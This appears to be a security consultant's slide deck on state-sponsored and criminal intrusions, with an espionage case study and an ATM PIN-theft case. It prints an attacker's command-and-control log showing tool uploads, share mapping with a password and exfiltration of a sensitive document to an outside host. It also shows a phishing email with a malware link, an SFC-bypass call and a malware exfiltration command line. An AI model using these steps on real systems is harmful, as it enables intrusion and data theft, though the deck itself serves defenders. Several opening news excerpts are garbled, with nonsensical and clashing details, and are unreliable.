GOT SPIES IN YOUR WIRES?

Marshall Heilman
Agenda

- Introduction
- Meat and Potatoes
- Questions
Introduction
Evolution of Cyber Attacks

- Technical Problem
- Unix Systems
- Servers
- Attacks Were a Nuisance
- Non-organized

1998 -- 2002

- Technical/Business Problem
- Windows Systems
- Servers
- Attacks Were About Money
- Semi-Orgainzed

2002 -- Now

- Technical/Business/Legal Problem
- Windows/Mac/Unix Systems
- Client Systems / End Users (Phishing)
- Attacks Are About Money
- Attacks Are About Political Agenda
- Highly-Orgainzed
Got Spies In Your Wires?

Obama and McCain Campaign Systems Were Hacked
By Kim Zetter — November 06, 2008

Neuweek is reporting that computer networks of both the Obama and McCain campaigns were the targets of a sophisticated cyberattack in the run-up to the general election and, in the Obama case, a "serious amount of files" were downloaded from the system.

The Obama camp initially thought in midsummer that their system was infected by password-stealing malware uploaded to someone's computer through a phishing attack. But after FBI and other agents investigated, they told staff they had a problem "way bigger than what you thought it was." The two congressmen who made the claims are active in promoting human rights, according to Reuters.

Oddy, Neuweek reports that officials at the FBI and White House told the Obamas a "foreign entity" was leaking information on the two's political positions with the next administration, and that the Obama system had not been hacked before.

Neuweek doesn't say how, exactly, they were able to make this determination.

The pieces adds, however, the system is "damaged" and while "some" data was still intact, "it's no longer usable".

Network Security Breaches Plague NASA
(pagi 2 of 7)

Four years later, in 2002, an online intruder penetrated the computer network at the Marshall Space Flight Center in Huntsville, Ala., stealing secret data on rocket engine designs — information believed to have made its way to China, according to interviews and NASA documents.

U.S. Rep. Frank Wolf, a Virginia Republican, said his office computers had been compromised in August 2006 and that he was told by the FBI and other officials the source of the attack was inside China.

Christopher Smith, who sits on the House Foreign Affairs Committee, said his computer had also been attacked. The New Jersey Republican has government legislation that would prohibit U.S. companies from cooperating with nations about human rights and democracy on the break-in and wants to raise awareness with Bloomberg.

11 U.S. military flags China cyber threat
The U.S. Department of Defense learned in an annual report released this week that China continues to develop its abilities to engage in cyberespionage as part of a doctrine of "soft contact warfare."

The warnings are part of the Department's Annual Report to Congress on the Military Power of the People's Republic of China (PRC) 2008 published this week. The report, which costs $350,000, focuses on China's land, air and space capabilities. It also notes that "China's extensive new computer systems and the PRC's computer contractors have been eliminated from China."

Although it's unclear if these interactions were conducted by or with the endorsement of the PRC's People's Liberation Army, it notes that China's capabilities for cyberattack are consistent with authoritative PLA writings on the subject. The DOD intends to monitor the region.

SecurityFocus
Rack'n

The World's Most Secure Flash Drive
Ironkey
Meet the Ironkey

The Worlds Most Secure Flash Drive
Ironkey

SecurityWorks
Policies, Protection, Recovery, 4-Layered Approach to Applications

Compliance, Protection, Recovery, 4-Layered Approach to Applications

Electronic Health records make new requirements for healthcare entities. IT organizations need to be aware of the importance of security and compliance.

Achieving Rapid Data Recovery for HIPAA Environment

Meaning for training is a requirement of courses that are included in HIPAA training. It also includes other e-mails and pieces on "How to effectuate Effective Information Security Policies."

How to effectuate Effective Information Security Policies. To learn more about this program, please visit: www.securityfocus.com/ironkey
So Does Everyone

Google Hack Attack Was Ultra Sophisticated, New Details Show

By Kim Zetter | January 14, 2010 | 8:01 pm | Categories: Breaches, Cybersecurity, Hacks and Cracks

Hackers seeking source code from Google, Adobe and dozens of other high-profile companies used unprecedented tactics that combined encryption, stealth programming and an unknown hole in Internet Explorer, according to new details released by the anti-virus firm McAfee.

“We have never ever, outside of the defense industry, seen commercial industrial companies come under that level of sophisticated attack,” says Dmitri Alperovitch, vice president of threat research for McAfee. “It’s totally changing the threat model.”

Google announced Tuesday that it had been the target of a “highly sophisticated and coordinated hack attack” against its corporate network. It said the hackers had stolen intellectual property and sought access.

U.S. Official Charged With Selling Secrets

Pentagon Analyst Accused Of Passing Info To China, Posing “Serious Threat In Post-Cold World”

WASHINGTON, Feb. 11, 2008

Comment:

WASHINGTON, Feb. 11, 2008 (AP) - A Defense Department analyst and a former engineer for Boeing Co. were charged Monday in separate spy cases for allegedly handing over secrets to the Chinese government, the Justice Department said.

Additionally, two immigration cases in the defense analyst's arrest were handled Monday morning in Orlando, where three of them lived.

CIA says hackers pulled plug on power grid

Several cities outside the U.S. have sustained attacks on utility systems and extortion demands.

Robert McMillan
PC World
Sunday, January 20, 2008, 12:19 AM

Criminals have been able to hack into computer systems via the Internet and cut power to several cities, a U.S. Central Intelligence Agency analyst said this week.
Types of Attackers

- Malicious Insider
- Opportunistic
- State Sponsored
- Organized Crime
# Organization

<table>
<thead>
<tr>
<th>Division of Labor</th>
<th>Multiple groups responsible for specific activities</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Militant</td>
</tr>
<tr>
<td>Coordination</td>
<td>Money stolen from 100+ ATMs in 23 countries within a few hours</td>
</tr>
<tr>
<td></td>
<td>Bank account “topped up” as needed</td>
</tr>
<tr>
<td></td>
<td>Related data from multiple unrelated companies</td>
</tr>
<tr>
<td>Real-time Countermeasures</td>
<td>Source address modification</td>
</tr>
<tr>
<td></td>
<td>Tools, tactics, and procedure changes</td>
</tr>
<tr>
<td></td>
<td>Massive exploitation</td>
</tr>
<tr>
<td></td>
<td>Malware enhancement</td>
</tr>
</tbody>
</table>
Motivation

<table>
<thead>
<tr>
<th>Money</th>
<th>$9 million – one weekend, one financial institution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Economic</td>
<td>Faster technology cycles (mean time to production)</td>
</tr>
<tr>
<td></td>
<td>Technological superiority</td>
</tr>
<tr>
<td></td>
<td>Bargaining power</td>
</tr>
<tr>
<td></td>
<td>Unfair competition</td>
</tr>
<tr>
<td></td>
<td>Information gap</td>
</tr>
<tr>
<td>Political</td>
<td>Political statement or influence</td>
</tr>
<tr>
<td></td>
<td>Bribery</td>
</tr>
<tr>
<td></td>
<td>Embarrassment</td>
</tr>
<tr>
<td>Cyber Warfare</td>
<td>National infrastructure</td>
</tr>
<tr>
<td></td>
<td>Power grid</td>
</tr>
<tr>
<td></td>
<td>Utilities</td>
</tr>
<tr>
<td></td>
<td>Communications</td>
</tr>
</tbody>
</table>
## Technology

| Custom Tools                  | Malware and applications  |
|                              | Tools built for specific jobs  |
|                              | Malware creation date within hours of compromise  |
|                              | Custom packed  |
| Professional Grade Tools      | $$$  |
|                              | Cutting edge anti-forensic techniques  |
|                              | Versioning  |
| Change Management            | Multiple versions  |
|                              | Feature addition  |
|                              | Enhanced anti-forensic techniques  |
| Cutting Edge Techniques       | Anti-reverse engineering and forensics techniques  |
|                              | VPN subversion  |
|                              | Multi-factor authentication bypass  |
|                              | Stealth techniques  |
|                              | Mathematical algorithm implementation  |
Case Study – Fortune 500
Case Study

- FBI Notified Firm
  - Three victims
  - Data loss

- Background
  - Victim users - key players in foreign acquisition deal
  - Billions of dollars at stake
  - Large, disparate global network
    - > 60,000 systems
  - Decentralized and immature security posture
Attack

- Day 1:
  - Social engineering attack
    - Two users
  - Multiple backdoor variants & keystroke loggers uploaded
  - Malware installed
  - Network reconnaissance performed

- Day 2:
  - Installed backdoors on five systems
  - Dumped cached/local passwords
  - More network reconnaissance performed
**Attack**

- **Day 3:**
  - Social engineering attack
    - Third user
  - Malware installed
  - Passwords dumped from Active Directory DC

- **Weeks 1 – 16:**
  - Lateral infection of multiple systems
  - Consistent data exfiltration
    - Weekly email/attachments from three targeted users
    - Weekly email/attachments from six other users
    - All recently accessed documents
    - All documents written to during specified timeframe
    - Large amounts of data from specific file share servers
Attack

- Week 8:
  - Social engineering attack
    - Fourth user (no relation)
    - Accidental compromise (mail forwarding)
  - Malware installed
  - Brute force attack against multiple SQL servers (‘sa’ account)
  - SQL service account privileges leveraged for ‘xp_cmdshell’ execution
  - Local Administrator access gained
  - SQL database exfiltration
Attack

- **Week 13:**
  - FBI notified firm
  - Investigation started
  - Enterprise IR tools deployed
  - Enterprise network monitoring program started

- **Week 16:**
  - Data corruption program initiated
  - Attacker responded within days
    - Modified TTPs: malware, encryption, protocols, and source locations
Wrap Up

- Comprehensive Scoping Of Incident Due To Enterprise Grade IR Tools
- Network Monitoring Allowed For:
  - Traffic decryption
  - Attacker TTP modification discovery
- Complete Domain Access
- ~50 Compromised Systems
- GBs Of Data Exfiltrated
Breaking and Entering

- **Reconnaissance**
  - Web site mirroring
  - Data mining
  - Social networks
  - Automated information gathering

- **Initial Exploitation**
  - Social engineering
  - Web browser exploitation
    - XSS
    - JS
  - Application exploitation
    - SQL injection
    - Remote file includes
Breaking and Entering
Breaking and Entering

From: lhall
Sent: 07/29/2009 08:52 PM EST
To: [Redacted]
Subject: Fw: Wire Transfer Info for [Redacted]

For more details please download the invoice found on this link:
http://informagiovani.comune.cremona.it/images/srcoroi/transfer.php?name=[Redacted]

----- Forwarded Message -----

From: [Redacted]

To: lhall@WMTCINFO.ORG
Sent: Tuesday, July 28, 2009 7:09:08 PM
Subject: Wire Transfer Info for [Redacted]

Date: Mon, 29 June 2009, 09:17 AM

BOA Georgia

Rt# 026009593
Acct# 3286545985
Breaking and Entering

- Privilege Escalation
  - Local admin rights
  - Findpass
  - Service exploitation

- Lateral Movement
  - Pass-the-hash
  - Password cracking
  - Cached passwords
  - LM hashes
  - Kerberos attacks
Breaking and Entering

2010-Jan-06 14:26:49.135158 66.66.66.66-80 -> 10.10.10.10-2431
Command: Upload file c:\windows\system32\is.exe

2010-Jan-06 14:26:59.954409 10.10.10.10-2431 -> 66.66.66.66-80
Starting Upload

2010-Jan-06 14:27:10.588093 66.66.66.66-80 -> 10.10.10.10-2431
Command: Upload file c:\windows\system32\advhelp.dll

2010-Jan-06 14:27:20.016782 10.10.10.10-2431 -> 66.66.66.66-80
Starting Upload

2010-Jan-06 14:27:39.866201 66.66.66.66-80 -> 10.10.10.10-2431
Command: Getting Debug Information 768

2010-Jan-06 14:27:48.901423 66.66.66.66-80 -> 10.10.10.10-2431
Debug Info Processed Successfully

2010-Jan-06 14:27:48.901423 66.66.66.66-80 -> 10.10.10.10-2431
Command: cmd.exe /c "is.exe -i -v2 c064cf64e1cd6c0380def43ad17ad9c5"

2010-Jan-06 14:28:18.164456 66.66.66.66-80 -> 10.10.10.10-2431
Command: net use \"SYSTEM2\ipc$ "123456789" /user:DOMAIN\compromised_account

2010-Jan-06 14:28:21.284463 10.10.10.10-2431 -> 66.66.66.66-80
The command completed successfully.
Grand Theft

2010-Jan-06 15:23:46.848138 66.66.66.66-80 -> 10.10.10.10-2431
Command: makecab "\\SYSTEM\c$\SENSITIVE\Report_2010.doc"
c:\windows\system32\slo2.rar

2010-Jan-06 15:32:28.771605 66.66.66.66-80 -> 10.10.10.10-2431
Command: cmd.exe /c "copy \SYSTEM\c$\windows\system32\slo2.rar
c:\windows\system32"

2010-Jan-06 15:32:30.381552 66.66.66.66-80 -> 10.10.10.10-2431
Command: List Processes

2010-Jan-06 15:33:21.837765 66.66.66.66-80 -> 10.10.10.10-2431
Command: Download file c:\windows\system32\slo2.rar

2010-Jan-06 15:52:17.705164 66.66.66.66-80 -> 10.10.10.10-2431
Command: Delete File c:\windows\system32\slo2.rar

2010-Jan-06 15:52:17.921531 10.10.10.10-2431 -> 66.66.66.66-80
Delete file successful
How Does This Happen?

<table>
<thead>
<tr>
<th>Oversight Compliance</th>
<th>Firewalls</th>
<th>Internal Web Proxies</th>
<th>Logging Enabled</th>
<th>Anti-virus Installed</th>
<th>IDS/IPS</th>
<th>HIDS/HIPS</th>
<th>Software Management</th>
</tr>
</thead>
<tbody>
<tr>
<td>Most Companies</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>

Most Companies
Incident Detections

Incident Detections Last Year (18)

- Mandiant: 35%
- Government: 47%
- Other: 12%
- Internal: 6%
Malware Trends

MALWARE DETECTION RATE BY A/V

APT MALWARE COMMUNICATION

---

OVERALL APT MALWARE DETECTION RATE BY A/V

- Detected 24%
- Undetected 76%

APT MALWARE COMMUNICATION

100% of APT backdoors made only outbound connections

- Used another port 17%
- Used TCP port 80 or 443 83%

PORT 80 AND 443 COMMUNICATION

- Communicated in the clear 29%
- Used encrypted communication 71%
## The Good Old Days Are Gone ...

<table>
<thead>
<tr>
<th>name</th>
<th>descriptiveName</th>
<th>path</th>
<th>serviceDLL</th>
<th>startedAs</th>
</tr>
</thead>
<tbody>
<tr>
<td>wuauserv</td>
<td>Automatic Updates</td>
<td>C:\Windows\system32\svchost.exe -k m\C:\Windows\system32\wuauserv.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>w32time</td>
<td>Windows Time</td>
<td>C:\Windows\system32\svchost.exe -k m\C:\Windows\system32\w32time.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>EventSyst</td>
<td>COM+ Event System</td>
<td>C:\Windows\system32\svchost.exe -k m\C:\Windows\system32\es.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>ERSvc</td>
<td>Error Reporting Service</td>
<td>C:\Windows\System32\svchost.exe -k m %SystemRoot%\System32\ersvc.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>winmgmt</td>
<td>Windows Management Instrumentation</td>
<td>C:\Windows\system32\svchost.exe -k m %SystemRoot%\System32\wbem\WMI\svc</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>H@x0rz</td>
<td>Shouts to Bitor and Snow Dog</td>
<td>C:\Temp\PG\1337\club\m\Y\back\0\r3ez.exe</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>SENS</td>
<td>System Event Notification</td>
<td>C:\Windows\system32\svchost.exe -k m %SystemRoot%\system32\sens.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>Schedule</td>
<td>Task Scheduler</td>
<td>C:\Windows\System32\svchost.exe -k m %SystemRoot%\system32\schedsvc.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>RpcSs</td>
<td>Remote Procedure Call (RPC)</td>
<td>C:\Windows\system32\svchost.exe -k m%SystemRoot%\system32\rpcss.dll</td>
<td>NT AUTHORITY\Ne</td>
<td></td>
</tr>
<tr>
<td>DcomLaun</td>
<td>COM Server Process Launcher</td>
<td>C:\Windows\system32\svchost.exe -k m%SystemRoot%\system32\rpcss.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>RemoteRe</td>
<td>Remote Registry</td>
<td>C:\Windows\system32\svchost.exe -k %SystemRoot%\system32\regsvc.dll</td>
<td>NT AUTHORITY\LocalSystem</td>
<td></td>
</tr>
<tr>
<td>WZCSVC</td>
<td>Wireless Zero Configuration</td>
<td>C:\Windows\System32\svchost.exe -k m %SystemRoot%\System32\wzcsvc.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
<tr>
<td>Jenmenow</td>
<td>Workstation</td>
<td>C:\Windows\system32\svchost.exe -k m %SystemRoot%\System32\wksvc.dll</td>
<td>LocalSystem</td>
<td></td>
</tr>
</tbody>
</table>
Hiding In Network Traffic

- Ability To Masquerade As Legitimate MSN Messenger Traffic
  - Traffic analysis confirmed traffic from legitimate MSN Messenger client
  - Communicates with Microsoft servers (Live or Hotmail)
  - Malware “chats” with attacker
  - Traffic is encrypted within MSN Messenger client traffic format
  - Capabilities: interactive reverse backdoor, file upload and download
  - Binary timestomped to match kernel32.dll
Hiding In Network Traffic

- **Ability To Masquerade As Legitimate DNS Traffic**
  - Tunnels data over UDP/53 via DNS queries
  - Data chunked into smaller size (avoids TCP problem)
  - Requires 4-way challenge/response
  - Supports remote command shell and exit commands only
  - Binary timestomped to match cmd.exe
  - Primitive
Hiding In Plain Sight

- DLL Registered For Persistence
- Installed As Microsoft Word Addin
  - Loads whenever Microsoft Word is started
- Executes Download Routine
  - Limited native capabilities
- Traffic Disguised As Legitimate HTTP Traffic
  - Commands encrypted as HTML comments
- Authenticating Proxy? No Problem!
  - Iexplore.exe code injection
Blatant Disregard For System Files

- Windows File Protection? No Problem!
- Undocumented API In sfc_os.dll: ordinal 5:
  SFCFileException
  - Disables SFC for 1 minute, allowing specified file to be modified
    SetSfcFileException(0, L"c:\windows\hh.exe",-1);

- Binary To Modify Specified On Cmdline
- Malware Injects Cmd Into Winlogon.exe
  (Necessary To Call Function)
### Service Details

**Descriptive Name:** Error Reporting Service  
**Service Name:** ERSvc  
**Type:** SERVICE_WIN32_SHARE_PROCESS  
**Mode:** SERVICE_AUTO_START  
**Status:** SERVICE_RUNNING  
**Process ID:** 1128  
**Path:** C:\WINDOWS\System32\svchost.exe -k netsvcs  
**ServiceDLL:** %SystemRoot%\System32\ersvc.dll  
**Started As:** LocalSystem  
**Description:** Allows error reporting for services and applications running in non-standard environments.

**Found on:** 28,000 systems

---

**Descriptive Name:** Error Reporting Service  
**Service Name:** ERSvc  
**Type:** SERVICE_WIN32_SHARE_PROCESS  
**Mode:** SERVICE_AUTO_START  
**Status:** SERVICE_RUNNING  
**Process ID:** 1342  
**Path:** C:\WINDOWS\System32\svchost.exe -k netsvcs  
**ServiceDLL:** %SystemRoot%\System32\ersvr.dll  
**Started As:** LocalSystem  
**Description:** Allows error reporting for services and applications running in non-standard environments.

**Found on:** 1 system
Hiding As SysAdmin

- Specially Crafted SOCKS Proxy Installed On Victim System
  - Spawns remote connection to attacker
- Attacker Proxies RDP Connection From <Insert Your Favorite Attacker Location>
  - GUI access
  - Indistinguishable from legitimate SysAdmin activity
- Assistance Binary Replacement Issue
No Trace Left Behind
Data Exfiltration

- **Malware Drops Two DLLs**
  - Spawns hidden iexplore.exe process
  - DLL injection

- **Searches Hard Drive For doc, xls, pdf, eml, ppt, rtf, and pps**
  - Based on Last Write time
  - Stores contents in encrypted RAR file masquerading as .dll

- **Second DLL Injected Into services.exe Or lsass.exe**
  - Exfiltrates data via FTP

```plaintext
malware.exe -d:C:\ -t:1:24 -s:txt,docx,xls -i:1 -a:STRING
```
Certificate Theft

- **Smart Card Reader Enumeration**
  - Utilizes specific DLLs to enumerate:
    - Smart Card Service Provider Module (SCSPM) version
    - Attached smart card readers
    - Inserted smart cards

- **Certificate/private Key Compromise**
  - Enumerates/extracts non self-signed certificates and associated private keys
  - Verifies private certificate/private key by encrypting/decrypting a string
  - Keys marked as non-exportable
The Writing On The Wall

- Self-destruction: Unique Capability Of Newer Backdoors
- If Backdoors Cannot Reach Their Destination:
  - Remove themselves from the system
  - Remove any traceable system modifications
- Malware Stays Memory Resident Only
  - Additional functionality via shellcode downloads
Case Study – Card Data Theft
Incident Detection

- Law Enforcement Notification
- Initial Intrusion via SQL Injection
- Fraud!
  - ATM Debit Card
  - Credit Card
- Attacker’s Tools, Tactics, Techniques Similar to Dozens of other Recent Incidents
The intruder accessed the VICTIM network via SQL Injection of the “cal.asp” page on VICTIM.com.

The intruder accessed the INTERNALDB server through VICTIM.com.

The intruder installed a backdoor called bp6.exe which allowed the intruder access to INTERNALDB from outside the VICTIM network.

The intruder logged into VICTIM-DC1, and retrieved every VICTIM users’ password.

The intruder began logging into POS terminals and credit card processing systems to install network sniffers, access databases, and perform a PIN block brute force attack.
How ATM Data Traversed the Network

1. A Cardholder inserted their card at a VICTIMORG ATM and initiated a PIN-based transaction.

2. The VICTIMORG ATM generated and encrypted the PIN block using the VICTIMORG keys and cryptograms loaded on the ATM.

3. The VICTIMORG ATM transmitted the transaction, including the encrypted PIN block, to the VICTIMORG LynxGate CAT ATM Driver, on a system known as TEXAS.

4. The encrypted PIN block, track data, and device (ATM) information were stored in the CAT database on TEXMCN2 for 30 days.
How ATM Data Traversed the Network

The encrypted PIN block generated by this process on VICTIMORG ATMs created the same encrypted PIN block over time for a given card and cryptogram in use at that ATM.

This means that if a customer performed a number of transactions over the course of time from the same ATM, the encrypted PIN blocks would be EXACTLY the same.
How the Attacker Could Exploit the ATM

Attacker's HSM PIN Attack Tool

PIN Brute Force Attack

If the PIN inputted/guessed by the attacker was incorrect, the PIN block would NOT match the PIN block from the CAT database.

If the PIN inputted/guessed by the attacker was CORRECT, the PIN block matched the PIN block from the CAT database.

NOT A MATCH
INCREMENT PIN AND RETRY

MATCH
RECORD PIN AND PIN BLOCK IN FILE

12345678890ABCDEF
Encrypted PIN block from the CAT database.

ABCDEF12345678890
Encrypted PIN block from the HSM.

12345678890ABCDEF
Encrypted PIN block from the HSM.

This process is equivalent to the process that occurs at an ATM to create an encrypted PIN block.
# Malware

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bp6.exe</td>
<td></td>
</tr>
</tbody>
</table>
  - Standard reverse backdoor  
  - Custom protocol implementation |
| svchost.exe   |  
  - Standard reverse backdoor  
  - Utilizes HTTP GET/POST requests |
| sn.exe        |  
  - Utility used to grab specific data from network traffic  
  - Implemented specific algorithm to detect credit card information |
| scan.exe      |  
  - Utility used to search local computer system for credit card data  
  - Implemented specific algorithm to detect credit card information |
| calcs.exe     |  
  - ComSniff malware  
  - Creates/loads device driver that hooks serial port driver(s)  
  - Captures all data sent through RS232 serial port |
## The State of Computer Security

| Tool Sophistication | Malware research outweighs security tool research  
|                     | Innovative persistence mechanisms  
|                     | Constantly evolving malware  
|                     | Trojanized system binaries  
|                     | Security tools are failing to detect advanced malware  
| Attacker Sophistication | Understand TTPs better than security professionals  
|                        | More motivated (greater financial reward)  
|                        | Leverage of worker drones  
|                        | Security professionals are outmanned  
| Incident Response | Full investigations too costly, forensics too time consuming, hard drives too big  
|                    | Lack of trained incident responders  
|                    | ROI - Business vs. security  
|                    | Disclosure risk  
|                    | Incident responders are consistently at a disadvantage  

Stolen Data

*Note: Picture is a representation only and does not denote actual data lost*
Questions

Marshall Heilman
Director, Consulting

marshall.heilman@mandiant.com
Work: (703) 683-3141
675 N. Washington St.
Suite 210
Alexandria, VA 22314